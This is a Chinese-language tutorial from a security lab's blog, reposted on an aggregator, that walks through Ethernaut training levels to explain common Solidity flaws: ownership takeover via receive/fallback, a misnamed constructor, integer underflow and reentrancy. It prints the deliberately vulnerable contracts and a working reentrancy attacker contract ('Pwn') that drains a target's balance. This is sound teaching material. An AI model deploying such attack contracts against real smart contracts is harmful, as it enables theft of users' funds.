『杂项』智能合约基础漏洞

admin 2023年3月2日17:59:39评论28 views字数 7719阅读25分43秒阅读模式


点击蓝字 关注我们


日期:2023-03-02
作者:H4y0
介绍:Solidity是以太坊智能合约开发最常用的编程语言,开发过程中代码编写不严格可能会产生严重的后果。

0x00 前言

以太坊智能合约是极为灵活的。它能够存储超过非常大量的虚拟货币,并且根据先前部署的智能合约运行不可修改的代码。虽然这创造了一个充满活力和创造性的生态系统,但其中包含的无信任、相互关联的智能合约,也吸引了攻击者利用智能合约中的漏洞和以太坊中的未知错误来赚取利润。

0x01 环境搭建

1.1 Metamask钱包与测试网络

Metamask是用于与以太坊区块进行交互的软件加密钱包,可以通过浏览器拓展程序访问,打开新世界的大门就从此开始吧!

『杂项』智能合约基础漏洞

Metamask添加到浏览器拓展程序后,注册一个钱包就会得到一个自己的钱包地址。

1.2 REMIX IDE

Remix是以太坊提供的Solidity官方IDE,可以进行智能合约的开发与部署。

『杂项』智能合约基础漏洞


通过搜索引擎即可找到官方网站。

1.3 测试币与Ethernaut

在测试环境下进行正常的测试,需要连接测试网络,通过申请测试币来对智能合约进行测试。这里以Sepolia测试网络为例。

『杂项』智能合约基础漏洞

选择显示测试网络后直接连接Sepolia测试网络。随后通过点击购买按钮跳转到申请测试币的界面。

『杂项』智能合约基础漏洞

将自己的钱包地址填入下方,申请测试币即可。

测试环境为[Ethernaut](https://ethernaut.openzeppelin.com/)靶场。初次访问时会申请与Metamask进行连接,连接成功后即可正常访问该靶场的所有关卡。

『杂项』智能合约基础漏洞

0x02 Solidity 基础漏洞

2.1 receive 与 fallback

// SPDX-License-Identifier: MITpragma solidity ^0.8.0;
contract Fallback {mapping(address => uint) public contributions; address public owner;
constructor() { owner = msg.sender; contributions[msg.sender] = 1000 * (1 ether); }
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }
function contribute() public payable {require(msg.value < 0.001 ether); contributions[msg.sender] += msg.value; if(contributions[msg.sender] > contributions[owner]) {owner = msg.sender;} }
function getContribution()public view returns (uint) {return contributions[msg.sender]; }
function withdraw() public onlyOwner {payable(owner).transfer(address(this).balance);}
receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0); owner = msg.sender; }}

fallback函数: 一个不接受任何参数也不返回任何值的特殊函数,在合约的调用中,当其他合约调用该合约不存在的响应函数就会触发 fallbackfallback 功能由合约所有者自定义。

receive函数:向合约中发送一些 eth 且没有在交易的数据字段中指定任何东西时,receive 就会被自动调用。

contribute函数:

  function contribute() public payable {require(msg.value < 0.001 ether);    contributions[msg.sender] += msg.value;    if(contributions[msg.sender] > contributions[owner]) {      owner = msg.sender;

可见,通过 contribute 函数要求我们的 eth 大于合约所有者,但是合约的拥有者 eth 初始就有 1000,发送的 eth 还要小于 0.001,尽管可以在测试网络下多次申请测试币,但是这一方法还是很难实现。

receive函数:

 receive() external payable {require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender;

在这个函数中,满足 msg.value>0msg.sender>0 即可,也就是说要求发送大于 0eth,且贡献值也大于 0,即可成为合约的拥有者。

成为合约拥有者后调用 withdraw(),就能掏空他的 eth

最后,修改 receive 函数为 fallback 函数:

function() payable public {require(msg.value > 0 && contributions[msg.sender] > 0);    owner = msg.sender;  }

小总结

receive()
一个合约只能有一个receive函数,该函数不能有参数和返回值,需设置为external,payable;
当本合约收到ether但并未被调用任何函数,未接受任何数据,receive函数被触发;
fallback()
一个合约只能有一个receive函数,该函数不能有参数和返回值,需设置为external
可设置为payable;
当本合约的其他函数不匹配调用,或调用者未提供任何信息,且没有receive函数,fallback函数被触发;

2.2 REMIX IDE 交互

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Fallout {
using SafeMath for uint256; // 防止溢出 mapping (address => uint) allocations; // 映射 address payable public owner; //owner 地址

/* constructor */ function Fal1out() public payable { owner = msg.sender; allocations[owner] = msg.value; }
modifier onlyOwner { require( msg.sender == owner, "caller is not the owner" ); _; }
function allocate() public payable {allocations[msg.sender] = allocations[msg.sender].add(msg.value); }
function sendAllocation(address payable allocator) public {require(allocations[allocator] > 0); allocator.transfer(allocations[allocator]); }
function collectAllocations() public onlyOwner {msg.sender.transfer(address(this).balance);}
function allocatorBalance(address allocator) public view returns (uint) {return allocations[allocator]; }}

只需要注意 Fal1out():

 function Fal1out() public payable {    owner = msg.sender;    allocations[owner] = msg.value;  }

只需要调用这个函数就可以成为合约的拥有者。

『杂项』智能合约基础漏洞

使用RemixIDE连接Metamsk钱包,并写一个接口来调用 Fal1out() 即可。

观察左边一栏,ENVIRONMENT选择网络环境,这里选的是与Metamask进行交互,通过Metamask与测试环境进行连接。

GAS LIMIT是指燃料的上限,合约的运行与部署需要消耗燃料,根据合约的复杂程度需要的燃料也不同,燃料不足的情况下会使合约部署失败。

Deploy按钮即是部署合约,可以将合约部署在指定地址,也可通过At Addresss加载指定地址的合约并与该地址的合约进行交互,上文的函数调用就是加载了实例地址的合约。

Deployed Contracts可以执行相应的函数,通过编写接口即可。

2.3 整数下溢

// SPDX-License-Identifier: MITpragma solidity ^0.6.0;contract Token {mapping(address => uint) balances; uint public totalSupply; constructor(uint _initialSupply) public {balances[msg.sender] = totalSupply =_initialSupply; }  function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; // 转账操作,将 token 转到 _to 地址 } function balanceOf(address _owner) public view returns (uint balance) {returnbalances[_owner]; } // 返回余额}

这个合约没有引⼊safamath库,可能存在上溢或下溢漏洞。题⽬初始化token20。注意转账函数transfer:

 function transfer(address _to, uint _value) public returns (bool) {require(balances[msg.sender] - _value >= 0); balances[msg.sender] -= _value; balances[_to] += _value; return true; // 转账操作,将 token 转到 _to 地址 } ```
其中最关键的就是:
```{require(balances[msg.sender] - _value >= 0)

如果转账21token,在没有safamath库的情况下会使其数值变⼤,变为2^256-1

2.4 重入攻击

// SPDX-License-Identifier: MITpragma solidity ^0.6.12;
import 'openzeppelin-contracts-06/math/SafeMath.sol';
contract Reentrance {
using SafeMath for uint256; mapping(address => uint) public balances;
function donate(address _to) public payable { balances[_to] = balances[_to].add(msg.value); }
function balanceOf(address _who) public view returns (uint balance) { return balances[_who]; }
function withdraw(uint _amount) public { if(balances[msg.sender] >= _amount) { (bool result,) = msg.sender.call{value:_amount}(""); if(result) { _amount; } balances[msg.sender] -= _amount; } }
receive() external payable {}

关键函数:

  function withdraw(uint _amount) public {    if(balances[msg.sender] >= _amount) {      (bool result,) = msg.sender.call{value:_amount}("");      if(result) {        _amount;      }      balances[msg.sender] -= _amount;    }

首先判断msg.sender是否有足够的余额来提取eth,然后通过call来发送请求的amount,随后更新余额,余额减少。

call{value:xx}callsendtransfer函数底层实现,也是用来转账的,三者存在一定的区别。

transfer:要求接收的智能合约中必须有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到交易前的状态)。而且有单笔交易中的操作总gas不能超过2300的限制。transfer函数会在以下两种情况抛出错误:

  1. 付款方合约的余额不足,小于所要发送的value

  2. 接收方合约拒绝接收支付。

send:和transfer函数的工作方式基本一样,唯一的区别在于,当出现上述两种交易失败的情况时,send的返回结果是一个boolean值,而不会执行revert回滚。

call: call函数和上面最大的区别在于,它没有gas的限制,使用callEVM将所有gas转移到接收合约上,形式如下:

(bool success, bytes memory data) = receivingAddress.call{value: 100}("");

将参数设置为空会触发接收合约的fallback函数,使用call同样也可以调用本合约内的函数,形式如下。

(bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256("function_name(uint256)",args)));

这里设置的gas是浮点数类型的,其中function_nameuint256args需要替换为实际函数名字、参数类型、参数值。

sendtransfer有一个限制单笔交易的gas不能超过2300的约束,这个约束值是很低的,只能支持一个event的触发,做不了更多操作,因此当设置到一些高gas消耗的操作时,必须使用call函数,但由于call函数不限制操作的gas值,又会导致存在合约重入的问题。

(bool result,) = msg.sender.call{value:_amount}("");

所以注意到withdraw函数中调用了一个空参数的call,会用到所有可用的gas这样能保证可执行recieve
当执行msg.sender.call{value:_amount}(“”)并向msg.sender发送金额时有两种情况:

1.msg.sender是个账户。2.msg.sender是个合约,value被发送到合约后可能会调用recievefallbck函数进行执行。

在第二种情况下,在fallbackrecive函数中可以进行写代码,就可以造成重入攻击。

pragma solidity ^0.6.12;

interface Reentrance{ function donate(address _to) external payable; function withdraw(uint _amount) external; function balanceOf(address _who) external view returns (uint balanceOf);}
contract Pwn { Reentrance ReentranceImpl; //标记目标合约(填写目标合约地址) uint256 requiredValue; //表示目标合约中的eth
constructor(address addr) public payable{ ReentranceImpl = Reentrance(addr); requiredValue = msg.value; }
function getBalance(address addr) public view returns (uint){ return addr.balance; }
function donate() public { ReentranceImpl.donate{value:requiredValue}(address(this)); }
function withdraw(uint _amount) public { ReentranceImpl.withdraw(_amount); }
function destruct() public { selfdestruct(msg.sender); }
fallback() external payable { uint256 ReentranceImplValue = address(ReentranceImpl).balance; if (ReentranceImplValue >= requiredValue) { withdraw(requiredValue); }else if(ReentranceImplValue > 0) { withdraw(ReentranceImplValue); } } }

小总结

攻击者可以在一个外部地址构造一个合约,该合约在回退函数中包含恶意代码。因此,当一个合约将以太发送到这个地址时,它将调用恶意代码。通常,恶意代码在易受攻击的合约上调用一个函数,执行开发人员不期望的操作。“可重入”这个名称来自于这样一个事实:外部恶意合约回调目标合约上的转账函数,并在目标合约上的任意位置重复执行这个转账函数以达到攻击目的。

0x03 总结

智能合约因为其不可修改的特性,部署后除非重新部署,不然无法对漏洞进行有效的修复,但这也会付出巨大的代价。因此不仅要注意代码的严谨性,还要注意solidity编译器可能引入的安全风险。


免责声明:本文仅供安全研究与讨论之用,严禁用于非法用途,违者后果自负。


点此亲启

ABOUT US

宸极实验室隶属山东九州信泰信息科技股份有限公司,致力于网络安全对抗技术研究,是山东省发改委认定的“网络安全对抗关键技术山东省工程实验室”。团队成员专注于 Web 安全、移动安全、红蓝对抗等领域,善于利用黑客视角发现和解决网络安全问题。

团队自成立以来,圆满完成了多次国家级、省部级重要网络安全保障和攻防演习活动,并积极参加各类网络安全竞赛,屡获殊荣。

对信息安全感兴趣的小伙伴欢迎加入宸极实验室,关注公众号,回复『招聘』,获取联系方式。

『杂项』智能合约基础漏洞




原文始发于微信公众号(宸极实验室):『杂项』智能合约基础漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年3月2日17:59:39
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   『杂项』智能合约基础漏洞https://cn-sec.com/archives/1583826.html

发表评论

匿名网友 填写信息